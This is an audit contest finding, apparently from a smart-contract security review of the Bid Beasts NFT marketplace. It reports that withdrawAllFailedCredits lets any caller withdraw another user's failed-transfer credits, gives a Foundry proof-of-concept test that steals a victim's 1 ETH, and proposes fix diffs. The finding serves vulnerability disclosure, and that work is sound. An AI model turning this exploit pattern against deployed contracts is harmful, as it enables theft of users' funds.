Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-01] - Parameter mismatch in `withdrawAllFailedCredits` allows fund theft

agilegypsy

Root + Impact

Description

The withdrawAllFailedCredits function is designed to allow users to withdraw their failed transfer credits. Users should only be able to withdraw their own credits, and the amount withdrawn should match the credits they have accumulated.

The specific issue is a parameter mismatch where the function uses the _receiver parameter to read the credit amount but clears and sends funds to msg.sender instead, allowing any user to steal credits from any other user.

// Root cause in the codebase
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> Reads from _receiver
require(amount > 0, "No credits to withdraw");
failedTransferCredits[msg.sender] = 0; // @> Clears msg.sender instead of _receiver
(bool success, ) = payable(msg.sender).call{value: amount}(""); // @> Sends to msg.sender
require(success, "Withdraw failed");
}

Risk

Likelihood:

  • Any user can call this function with any address as _receiver parameter

  • No special conditions or prerequisites required

  • Single transaction exploit with immediate profit

Impact:

  • Direct theft of user funds from failed transfer credits

  • Permanent loss of user assets with no recovery mechanism

  • Complete breakdown of the failed credit withdrawal system

Proof of Concept

This test demonstrates how an attacker can steal failed transfer credits from any victim:

  1. Setup: We give a victim address 1 ETH in failed transfer credits

  2. Attack: An attacker calls withdrawAllFailedCredits(victim)

  3. Result: The attacker receives the victim's 1 ETH while the victim's credits remain in the mapping

The exploit works because:

  • The function reads credits from victim but sends funds to attacker

  • No access control prevents this cross-user withdrawal

  • The victim's credits are never actually cleared from storage

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
​
import {Test} from "forge-std/Test.sol";
import {BidBeastsNFTMarketPlace} from "../src/BidBeastsNFTMarketPlace.sol";
import {BidBeasts_NFT_ERC721} from "../src/BidBeasts_NFT_ERC721.sol";
​
contract FundTheftTest is Test {
BidBeastsNFTMarketPlace marketplace;
address victim = makeAddr("victim");
address attacker = makeAddr("attacker");
function setUp() public {
nft = new BidBeasts_NFT_ERC721();
marketplace = new BidBeastsNFTMarketPlace(address(nft));
// Setup: Give victim failed credits
vm.store(
address(marketplace),
keccak256(abi.encode(victim, uint256(6))), // failedTransferCredits slot
bytes32(uint256(1 ether))
);
}
function testStealFailedCredits() public {
uint256 victimCredits = marketplace.failedTransferCredits(victim);
uint256 attackerBalanceBefore = attacker.balance;
// Attack: Steal victim's credits
vm.prank(attacker);
marketplace.withdrawAllFailedCredits(victim);
uint256 attackerBalanceAfter = attacker.balance;
// Verify theft
assertEq(attackerBalanceAfter - attackerBalanceBefore, 1 ether);
assertEq(marketplace.failedTransferCredits(victim), 1 ether); // Victim's credits remain
}
}

Recommended Mitigation

function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
+ uint256 amount = failedTransferCredits[msg.sender];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[msg.sender] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Or alternatively:

function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
- failedTransferCredits[msg.sender] = 0;
+ failedTransferCredits[_receiver] = 0;
- (bool success, ) = payable(msg.sender).call{value: amount}("");
+ (bool success, ) = payable(_receiver).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!